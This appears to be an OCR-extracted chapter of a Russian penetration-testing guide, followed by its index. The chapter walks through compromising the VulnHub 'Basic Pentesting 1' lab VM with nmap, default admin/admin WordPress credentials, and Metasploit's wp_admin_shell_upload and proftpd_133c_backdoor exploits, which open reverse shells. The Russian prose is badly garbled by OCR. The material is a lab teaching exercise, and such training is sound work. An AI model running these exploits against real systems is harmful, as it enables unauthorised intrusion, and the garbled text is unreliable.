Hns neneit maHHOroO MPaKTUYECKOTO MNpUMEpa MEPEeUauTe Mo ajpecy
https://www.vulnhub.com/ entry/basic-pentesting-1,216/ u 3arpy3ure cuctemy.
Kak Tonpko BBI 3arpy3urte ero, 3arpy3urte ero ¢ momoripio VirtualBox wmu
VMware. HauanbHblil 3arpy304Hbld 3KpaH Ui CUCTEMbl BBIIVISIAUT KakK Ha

pucyske 4-1

© Sagar Rahalkar 2019
S. Rahalkar, Quick Start Guide to Penetration Testing,
https://doi.org/10.1007/978-1-4842-4270-4_4


https://www.vulnhub.com/
https://www.vulnhub.com/entry/basic-pentesting-1,216/
https://www.vulnhub.com/entry/basic-pentesting-1,216/

[maBa 4 BapuaHT UCnonb3oBaHus

Oty B ©) 447am I

marlinspike

Guest Session

Pucynox 4-1. Hauanvnwiii 3a2py304Hblii 9Kpan yenesoli Cucmembl

V Bac HET YUYCTHBIX JaHHBIX IJIs1 BXOAa B CUCTEMY, ITIOOTOMY BaM IMPUJACTCA
HCIIOJIb30BATHL CBOU HABBIKU TECTUPOBAHUA, YTOOBI BOUTH BHYTDb.

[MpoBeneHne Pa3Begku

B Kali Linux 3anycrute ZENMAP, 4T00OBI BBIIIOTHUTE CKAHUPOBAHUE ITOPTOB
U TIEPEYHCIICHUE CITYKO JUIsl TOU 1IeTIH, KaK MOKa3aHo Ha PUCYHKE 4-2.
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Scan Tools Profile Help
Target: [192.168.25.132 v

Command: | nmap -T4 -A -v 192.168.25.132

@‘ Services Nmap Output . Ports / Hosts  Topology Host Details - Scans

05  Host nmap -T4 -A -v 192,168.25.132

S R e LR T B e A e R R N B e R R R e
Initiating 0S detection (try #1) against vtcsec (192.168.25.132)

NSE: Script scanning 192.168.25.132.

Initiating NSE at 13:42

Completed NSE at 13:42, 0.39s elapsed

Initiating NSE at 13:42

Completed NSE at 13:42, 0.00s elapsed

Nmap scan report for vtcsec (192.168.25.132)

Host is up (0.8017s latency).

N i 997 closed ports

PORT  STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.3¢

22/tcp open ssh OpenSSH 7.2p2 Ubuntu dubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 2048 d6:01:90:39:2d:87:46:fb:03:86:73:b3:3¢:54:7e:54 (RSA)

| 256 f1:f3:c0:dd:ba:a4:85:17:13:9a:da:3a:bb:4d:93:04 (ECDSA)
| 256 12:2:98:d2:23:€7:36:47:be:6b:ce:36:6b:7¢:0d:9¢ (EADSA)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
| Supported Methods: GET HEAD POST OPTIONS
| _http-server-header: Apache/2.4.18 (Ubuntu)
| _http-title: Site doesn't have a title (text/html).
MAC Address: 00:8C:29:4C:BB:59 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
QS CPE: cpe:/o:linux:linux kernel:3 cpe:/o:1linux:linux kernel:4
05 details: Linux 3.2 - 4.8
Uptime guess: 119.227 days (since Thu May 31 08:15:01 2018)
Network Distance: 1 hop
JCP_Sequence Prediction: Difficulty=255 (Good luck!)
i ALL zeros
Service Info; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux kernel

TRACEROUTE
HOP RTT ADDRESS
1  1.73 ms vtcsec (192.168.25.132)

NSE: Script Post-scanning.
Initiating NSE at 13:42
Completed NSE at 13:42, 0.00s elapsed
Initiating NSE at 13:42
Completed NSE at 13:42, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap_done: 1 IP address (1 host up) scanned in 9.19 seconds
-+ . Raw packets sent: 1023 (45.806KB) | Rcvd: 1015 (41.290KB}

Pucynok 4-2. Bvi6o0 unmencugnozo ckanuposanus NMAP yenesoii
cucmemul

B BeiBosie ZENMAP BBI BUIUTE, YTO OTKPBITHI CIEAYIOTHE TOPTHI:
o\ Iopr 21 pabdoraer ¢ ProFTPD 1.3.3¢
o\ ITopr 22 nox ynpasnenuem OpenSSH 7.2p2
o\ [opt 80 non ynpasnenuem Apache httpd 2.4.18
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Mmaea 4 MNMpumep ncnonb3oBaHms

OCHOBEIBasICh Ha ’TOM BBIBOJC, Y BaC €CTb TP BO3MOXKXHBIX crocoba

CKOMITPOMETUPOBATH CUCTEMY.

o\ Haiigure u BeimoaauTe 110001 sxcrtont mist ProFTPD
1.3.3c B Metasploit

A\ HUcnonsayiite 6pyT-hopc mporus SSH, paboraroriero Ha
TOpTY 22, IUIsI TTOTyYeHUs] YIETHBIX JaHHBIX TI0TH30BaTeIs

o\ Y3HaiiTe, pa3MeneHo 1 Kakoe-TM0o MpHUIIoKEeHHE Ha OPTY
80

Kennyartaunst CUCTeEMbI

Korza BbI bITaeTeCh NOAYYUTh AOCTYH K cUcTeMe uepes mopt 80 ¢
MOMOIIBIO Opay3epa, BbI MOJMYyYUTE CTPAHULYY BeO-cepBepa 10 YMOIYaHHUIO,
MOKa3aHHYIO Ha pUCyHKe 4-3.

Mozilla Firefox
http:/192.168.25.132 = | +
€ 9 O 192.166.25132

%2 Most Visited~ [ Offensive Security s, Kali Linux ", Kali Docs " Kali Tools = Exploit-DB Wy Aircrack-ng gllKali Forums s NetHunter @ Getting Started
It works!

This is the default web page for this server.

The web server software is running but no content has been added, yvet,

Pucynok 4-3. llenesas 6e6-cmpanuya no ymonr4anuio 8 yenegou cucmeme
(nopm 80)

Teneps Bbl cHOBa BepHeTech K NMAP, u Ha 3T0T pa3 BMecTo
CKaHMPOBaHMS OPTOB BhI Oy/eTe MCIONB30BaTh http-enum cueHapus
NMAP, kak 1mokazaHo Ha pUCyHKe 4-4.
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MmaBa 4 MNMpumep ncnonb3oBaHUS

Zenmap 0o
Scan Tools Profde Help
Target: 192.168.25.132 v Profile: v | Scan
Command: [nmap --script http-enum [192.168.25.132
Hosts | Services Nmap Cutput | Ports / Hosts  Topology Host Details - Scans
0S  Host nmap --script http-enum 192.168,25.132 Details

4 vicsec (1921

‘-
Filter Hosts.

Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-27 14:37

Nmap scan report for vtcsec (192.168.25.132)
Host 15 up (©.80063s latency).

Not shown: 997 closed ports

PORT  STATE SERVICE

21/tcp open ftp

22/tcp open ssh

80/tcp open http

| http-enum

| /secret/: Potentially interesting folder
MAC Address: 98:6C:29:4C:BB:59 (VMware)

MNmap done: 1 IP address (1 host up) scanned in 1.48 seconds

IsT

Pucynok 4-4. Bvi6oo cyenapus hitp-enum NMAP, vlnonuenno2o 6 yenegoi

cucmeme

BrIxomHbIe JaHHBIE CKPUITA COOOIMIAIOT BaM, YTO Ha BeO-CepBepe eCTh

marka ¢ UMEHEM secret, KOTOpasA MOXET UMETH YTO-TO MHTCPECCHOC JId Bac.

[TomyunB BXoJHBIE JAHHBIE O CEKPETHOM NAlKe Ha CEPBEPE,

nonpoOyiTe MOMYYUTh K HEH TOCTYII, KaK IOKa3aHO Ha PUCYHKE 4-5.
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Mmaea 4 MNMpumep ncnonb3oBaHms

Yy sacrn Vg - kit wncebes WerdPress s - Maci Freten eeco

My secret blog

Jast aaother WordPress stte

Recent Posts
« Mo acld:
Recent Comments
* & WordPress Cotrter o Hud xord

Archives

Pucynox 4-5. [Ipocmomp cexpemnozo Kamanoza, pasmeujeHno2o Ha
yeneeom 6eb-cepsepe

Brb1 MoXxeTe yBUAETh 3KpaH, KOTOPBIH MOIPa3yMeBaeT, YTO 3TO CBOETO
pona 6ior, ocHoBaHHEI Ha WordPress. Tem He MeHee, BeO-CTpaHuUIa
BBINIAIUT CIIOMaHHON M HEMOJIHOM.

Korga BBl mbITaeTech 3arpy3uTh CTpaHUILy, Opay3ep HIIET XOCT vtcsec.
OTO 03HA4YaeT, YTO BaM HYKHO HACTPOWUTH CHUCTEMY JJIS pa3pelieHus: 3TOro
HUMEHHU XOCTa. BBl MOXeTe IMPOCTO OTKPBITH TEPMHUHAI M 3aT€M OTKPBITH (haii
/etc/hosts B TEKCTOBOM peAaKkTope, Kak MOKa3aHo Ha PHCYHKe 4-6.

KSR o (s |=]000
127.6.0.1 localhost
127.0.1.1 kali

192.168.25.132 vtcsed

# The following lines are desirable for IPv6 capable hosts
ich | localhost ip6-localhost ip6-loopback

ffe2::1 ip6-allnodes

ffe2::2 ip6-allrouters

Plain Text v Tab Width: 8 » n 3,Col 22 v INS

Pucynok 4-6. Peoaxmuposarnue ¢atina / etc / hosts 0ns dobasnerus HOBoU
3anucu xocma
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MmaBa 4 MNMpumep ncnonb3oBaHUS

3arem n00aBbTe HOBYIO cTpoKy: 192.168.25.132 vicsec.

B tepmunase 3amycrure cieayromiee: gedit /etc/hosts.

Teneps, Korna BeI BHECTH HEOOXOMMBIE H3MeHEHHS B (haiin hosts,
JaBaiiTe monpoOyeM CHOBA TOJIYYUTh JOCTYI K BeO-uHTepdeiicy. Murepdeiic
3arpyaercsi, Kak oKazaHo Ha pucCyHKe 4-7.

Sy et b - hnt s WerPrems te Phee Pt LN
o et g - st v | 4
€ 0 e i ¢80 400w =

Mot Wesmatv Ot Sacirty N Kt Umen N, K Doy Wk Toc & Bt (0 Wy Arcinci ng TG Fonmms N Ne-ceter § Getsing Suted

—

MY SECRET BLOG

Pucynok 4-7. [lomawmnas cmpanuya 6noea WordPress, pazmewennas 6
yenesoii cucmeme

W3yuuB cTpaHuily, HOKa3aHHYIO Ha pucC. 4-8, BUTHO, UTO MPHIIOKEHHE
ocHoBaHo Ha WordPress.
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Mmaea 4 MNMpumep ncnonb3oBaHms

Log . My ecoet g — WerdPress - Mool e eeco
Lol Memomnisg w4

¢ 08 o 46 4006 =

oMoct Wotatve OMeasive Sacurty WK Lomer N\ Kk Dcs WK Tk Bapios N W ARerce g T Sareme N Neueter @ Gettng S4ted

y/

Ve
(o

Pucynok 4-8. Cmpanuya exooa 6 WordPress 6 sauseil yenegotl cucmeme

I[anee BaM HGO6X0,I[I/IMO BBCCTH YUCTHBIC JaHHBIC JIsI BXO/1da B KOHCOJIb
AIAMHUHHUCTPATOPA NPUITOKCHUS. V Bac ecThb TpH crocoba ux MOJIYUCHU:, KaK
IIOKa3aHO 3/1€Ch:

!\ Yrazail NOJTHOMOUHS; YaCTO YUETHBIE JAHHBIE YCTAHOBJICHBI
[0 YMOJYAHHIO.

A\ Ucnonp3yliTe MHCTPYMEHT JIJIs1 B3JIOMa MapoJiei, TAaKor Kak
Hydra, uTo0bI B3;110MaTh yYeTHbIC JaHHBIE.

"\ HUcnoneayiite BecrioMorarenbHbId Momyinb Metasploit
auxiliary/scanner/http/wordpress_login_enum, 4TOOBI 3aITyCTHTB aTaKy
METOJIOM Tepedopa MPOTUB YUETHBIX JTAHHBIX MPHIIOKEHHS.

B 3TOM cnyqae HpI/IJ'IO)KeHI/Ie NUMECT y‘leTHLIe JAaHHBIC 11O yMOJ‘I‘laHI/IIO:
admin / admin.
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MmaBa 4 MNMpumep ncnonb3oBaHUS

Teneps, Korna y Bac €CTh y4ETHBIE JaHHBIC TPUIIOKECHUS, BBl MOXKETE
rcTonbp30BaTh Metasploit m1st 3arpy3ku BpeZJOHOCHOTO TIIaTvHA B
WordPress, KOTOpBIi MPEAOCTABHUT BaM yIaJICHHBIN TOCTYI K 000IOUKe.
[Inarun WordPress - 3T0 TOTOBBIH QparMeHT Kozia, KOTOPBI MOXKHO
HUMIIOPTUPOBATh B ycTaHOBKY WordPress 1uisl BKIIIOUEHUS TOTTOTHUTEIBHBIX
¢yHkmii. Bel MokeTe ncnonp30BaTh KoMaHay moucka B MSFconsole ms
MIONCKA JIFOOBIX 3KCIUIONTOB, CBSI3aHHBIX C aAMUHUCTPUPOBAHUEM
WordPress, kak mokazaHo Ha pucyHke 4-9.

root@kali: ~ o0

File Edit View Search Terminal Help

=( ]
+ -- --=[ 1801 exploits 1027 auxiliary - 311 post ]
4 s aem [ 538 payloads - 41 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search wp admin
Module database cache not built yet, using slow search

Name Disclosure Date Rank Description

n;x;)iuil/un;x/wcbdpp/w admin shell upload 2015-62-21
[ |
Pucynok 4-9. Bv1600 nouckoeozo 3anpoca 0jisi SKchaouma wp_admin 6

Metasploit

Ternephb BaM HY)KHO HCIIOJIB30BATH SKCILUIOUT
exploit/unix/webapp/wp_admin_shell upload, kak mokazano Ha pucyHke 4-
10. Bam Heobxoaumo HacTpouTh napamerpsl USERNAME, PASSWORD,

TARGETURI u RHOST.
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Mmaea 4 MNMpumep ncnonb3oBaHms

Flle Edit View Search Terminal Help
msf > use exploit/unix/webapp/wp_adein_shell upload
msf exploit(unix/webapp/wp_admin_shell_upload) > show options

Module options (exploit/unix/webapp/wp_admin shell upload):

Nare Current Setting Required Description

PASSWORD  admin yes The WordPress password to authenticate with

Proxies no A proxy chain of format type:host:port[,type:host:port][..
RHOST yes The target address

RPORT 8e yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

TARGETURI /secret/ yes The base path to the wordpress application

USERNAME  admin yes The WordPress username to authenticate with

VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse tcp):

Name Current Setting Required ODescription
LHOST 192.168.25.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

] wWordPress

msf exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin
USERNAME => admin

msf exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD admin
PASSWORD => admin

msf exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /secret/
TARGETURI => /secret/

msf exploit(unix/webapp/wp_admin_shell_upload) > set RHOST 192.168.25.132
RHOST => 192.168.25.132

msf exploit(unix/webapp/wp_admin_shell_upload) > exploit

[
[
[+
[
[

]
]

]
]
]
1
]

Started reverse TCP handler on 192.168.25.128:4444

Authenticating with WordPress using admin:admin...

Authenticated with WordPress

Preparing payload...

Uploading payload...

Executing the payload at /secret/wp-content/plugins/ihsrbawiPk/gzoTqvZncp.php. ..
Sending stage (37775 bytes) to 192.168.25.132

Meterpreter session 1 opened (192.168.25.128:4444 -> 192.168.25.132:41586) at 2018-09-27 15:52:59 +8530

Deleted gzoTqvZncp.php
Deleted ihsrbawiPk.php
Deleted ../ihsrbawirk

peterpreter > |

Pucynox 4-10. HUcnonvzosanue sxcnnouma wp_admin_shell _upload npomus
yenegou cucmemsl 0Jis noayyeHusi docmyna Meterpreter

WordPress u, HakoHeII, MPe0CTaBUB BaM HEOOXOIUMBIH JOCTYII

OKCIUIONUT OBIJT YCIIELIHO 3aIlyLIeH, 3arpy3UB BPEIOHOCHBIH IJIarkH B

Meterpreter.

Bo Bpems nepBoHayanbHOro ckanuposanusi NMAP Bel 00HApYKUJIH, YTO

BaIla IeJIb TaKke ucronb3yeT FTP-ceprep uepes mopt 21. Bepcus FTP-

cepsepa - ProFTPd 1.3.3. Bel MmoxeTe npoBepuTh, €cTh 11 'y Metasploit

9KCIUIONT Juig 3ToM Bepcuu FTP-cepBepa. Mcnone3yiite koMaHy MOUCKA.
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MmaBa 4 MNpumep ncnonb3oBaHNA

HuTepecHo, uto y Metasploit ects sxcrumoiT mst cepsepa ProFTPd. Ber
MOXeTe HCIOTB30BaTh dKCILIONT exploit/unix/ftp/proftpd 133¢_backdoor,

KaK Mmoka3aHo Ha pucyHke 4-11. Bce, 910 BaM HY»XHO HACTPOHTBH - 3TO

nepemenHas RHOST.

Fle Edt View Sesch Terminal Help
msf > search profipd

Module database cache not built yet, using slow search

Matching Modules

Naze Disclosure Date Rank
exploit/freebsd/ Fip/profip_telnet_iac 20918-11-01 great
exploit/linux/ftp/proftp sreplace 2806-11-26 great
exploit/linux/ftp/proftp_telnet iac 2010-11-81 great
exploit/linux/misc/netsupport_manager agent 2011-081-08 average
exploitfunin/Fip/profipd 133c backdoor 2016-12-62 excellent
explodt/unixsftp/proftpd modcopy_excc 2015-04-22 excellent

mef > use exploitfunix/ftp/proftpd _133c backdoor
msf exploit(unix/ftp/proftpd_133c_backdoor) » show options

Module optiens (expleitfunix/fip/proftpd 133¢ backdoor):

Hame  Current Setting Required Description
RHOST yes The target address
RPORT 21 yes The target port (TCP)

Exploit target:

mef exploit{unis/fta/proftpd_133c_backdoor) =
RHOST

Id  Nawme

8 Automatic

set RHOST 192.168.25.132
=> 192,.168.25.132

nsf exploit(unix/ftp/proftpd_133c_backdoor) > exploit

Started reverse TCP double handler on 192.168.25.128:4444
192.168.25,132:21 - Sending Backdoor Conmand

Atcepted The first client connection...

Accepted the second client connection..

Comnand; echo ClwmatNvsNINDEZZ;

*] Writing to socket A
*] Writing to socket B
*] Reading from sockets...

Reading from socket A

A: “ClwmathvsNInpE2ZZ\rin®
Matching. . .

g is input...

DescripTion

ProfFiPD 1.3.@r¢3 - 1.2.3b Telnet IAC Buffer Overflow (FreeBsp)
ProfTPD 1.2 = 1.3.8 sreplace Buffer Overflow (Linux)

ProfFTPD 1.3.2rc¢3 - 1.3.3b Telnet IAC Buffer Overflow {Linux)
MetSupport Manager Agent Remote Buffer Overtlow
ProFTPD-1.3. 3¢ Backdoor Command Execution

ProFiPD 1.3.5 Mod Copy Command Execution

*]1 Comnand shell session 2 opencd (192.168.25.128:4444 > 192.168.25.132:41586) at 2018-09-27 15:55:32 +6330

uname -a
Linux vtcsec 4.18.0-28-generic #32-16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86 64 x86 64 xB6 64 GNU/Linux

Pucynok 4-11. Bvi600 nouckosozo 3anpoca 0s profipd u evinonnenue
axcnaotima profipf 133c_backdoor 6 yenesoti cucmeme

KO,Z[ JKCILIONTA YCHCUIHO BBIITOJHACTCA U 1AaCT BaM O6OJ'I0‘IKy B

IICJIEBOM CHUCTEME.

CJ'IC,Z[OBaTCJ'ILHO, BbI YCIICIIHO UCIIOJIb30BaJIM CBOIKO LICJIb IBYMS

pasnu4yHbIMU criocobamu: oauH uepe3 WordPress, a npyroii yepes FTP-

cepsep. [lozapapmnsem!

133



YKa3aTtenb

0e3 M3MEeHEHHI

A, B

all_hosts() function, 43
all_protocols function, 44

methods, 22—-23
target IP address, 21

MySQL, 29
SMB, 23
C SMTP server, 31
command_line() function, 43 SSH server, 30
VNC, 34

Common Vulnerabilities and
Exposure (CVE), 36
git directories, 37 nmap-
vulners, 37 output of, F
38-39
Common Vulnerability Scoring
System (CVSS), 67

vulnerabilities, 36

File Transfer Protocol (FTP), 26, 101

G
D Grab service banners, 35
Domain Name System
(DNS), 25, 100 H
has_tcp() function, 43
E hostname() function, 44
_ Hypertext Transfer Protocol
Enumeration (HTTP), 102
DNS, 25
FTP server version, 26
grab service banners, 35 |, J
HTTP, 20 Interactive Ruby (irb)

command, 87
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K, L
keys()

M

function, 43

Metasploit
anatomy and structure

auxiliaries, 76
components of, 75
directory structure, 75
encoders, 77

exploits, 77

payloads, 76

post, 78

auxiliaries

DNS service, 100

FTPR, 101

HTTP, 102

remote desktop protocol, 104
SMB modules, 104, 106
SSH, 106-107

VNC, 107-108

commands and configuration
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connect, 82
db_initiate, 90
db_status, 90
get and getg, 85
history, 83

info, 87

irb, 87-88
makerc, 89
msfconsole command, 79, 81
save, 86

set and setg, 84

show, 88

spool, 89

unset and unsetg, 85-86
version, 81

workspace, 91

Meterpreter, 108

audio output

commands, 113
core commands, 108
elevate commands, 113
getsystem, 117-118
getuid, 117
hashdump, 119 Is command,
116 password database, 114
screenshot, 118-119
searchsploit tool, 120 system
commands, 110 timestomp
commands, 114 user interface
commands, 112 webcam
commands, 112

NMAP (Network Mapper)

db_import and hosts

commands, 93
db_nmap command, 94
scan results, 92

OpenVAS

openvas_config_list
command, 98
openvas_connect
command, 97
openvas_help command, 96
openvas_report_download
command, 100
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openvas_report_list protocols, 13
command, 99 reason scan, 12
openvas_target_create service enumeration, 16
command, 97 subnet, 10-11
openvas_task_create, 98 TCP scan, 15-16
openvas_task_start topology, 15
command, 99 UDP port scan, 17
plug-in, 95 scripts (see Enumeration)
phases of, 73 MySQL ZENMAP
enumeration, 29 configuration, 7
nmap command, 6
N screen/interface, 8
Nessus Attack Scripting Language
(NASL) code, 48 O
NMAP (Network Mapper) OpenVAS, 47
Debian-based system, 6 administration, 55
features of, 4 administrative settings, 50, 68
installation, 5-6 boot menu, 51
Metasploit, 92 CVSS calculator, 67—
db_import and hosts 68 dashboard, 59
commands, 93 demographics, 59
db_nmap command, 94 features of, 48 feed
scan results, 92 updates, 55
output, 40 port status, 55
states, 8 Python (see vulnerability feeds, 56
Python) scanning, 9 help menu, 61-62
installation screen, 49
firewall probe, 14 metasploit
hosts.txt file, 12 openvas_config_list
input file, 11 command, 98
intense scan, 19 openvas_connect
IP address, 10 command, 97
OS detection, 18-19 openvas_help command, 96
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OpenVAS (cont.)
oepnvas_report_download
command, 100
openvas_report_list
command, 99
openvas_target create
command, 97
openvas_task_create, 98
openvas_task_start
command, 99
plug-in, 95
overview of, 68
password, 51
purpose of, 47
reports
details, 71
formats, 69
HTML scan report, 70
scan result summary, 70
resource and performance
management, 66—67
scheduler, 60 setup, 50,
53 subscription key
upload
screen, 54
trashcan, 60-61
user configuration, 54
user management
adding new users, 58
console, 57
LDAP authentication, 58
RADIUS authentication, 59
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virtual machine command-line
console, 52

vulnerability (see Vulnerability
scanning)

web interface and login fields, 52

P, Q

Penetration testing, see also

Vulnerability assessment
covering tracks, 3
enumeration phase, 2
escalating privileges, 2
gain access, 2
information gathering, 2
phases of, 2
tools of, 3-4
vulnerability assessment, 2 Post-

Exploitation Activities (Post), 78
Python

all_hosts() function, 43
all_protocols function, 44
command_line() function, 43
Debian-based system, 41
has_tcp() function, 43
hostname() function, 44 keys()
function, 43 NMAP library, 41

output, 42

PortScanner function, 42
scaninfo() function, 42
state() function, 43
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Remote Desktop Protocol (RDP), 104

S, T,U

scaninfo() function, 42
Secure Shell (SSH)
protocol, 30, 106-107 Server
Message Block (SMB)
protocol, 23, 104, 106
Simple Mail Transfer Protocol
(SMTP), 31
state() function, 43
System exploitation
[etc/hosts file, 128
output of, 127
secret folder, 127-128
web server page, 126
WordPress
admin console of, 130
home page, 129 login page,
130 Meterpreter access, 132
proftpd and execution, 133
search query, 131
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V, W, X, Y
Virtual lab, 123, 124
Virtual Network Computing (VNC)
protocol, 34, 107-108
Vulnerability assessments
OpenVAS, 47
organization, 1
Vulnerability scanning dashboard
and task wizard, 63 full and fast
profile, 64
login page, 62 results
and filters, 66 scan
profiles, 64 scan
results, 65
task status dashboard, 65

Z

ZENMAP
configuration, 7
nmap command, 6
output of, 125
port scan and service
enumeration, 124
screen/interface, 8



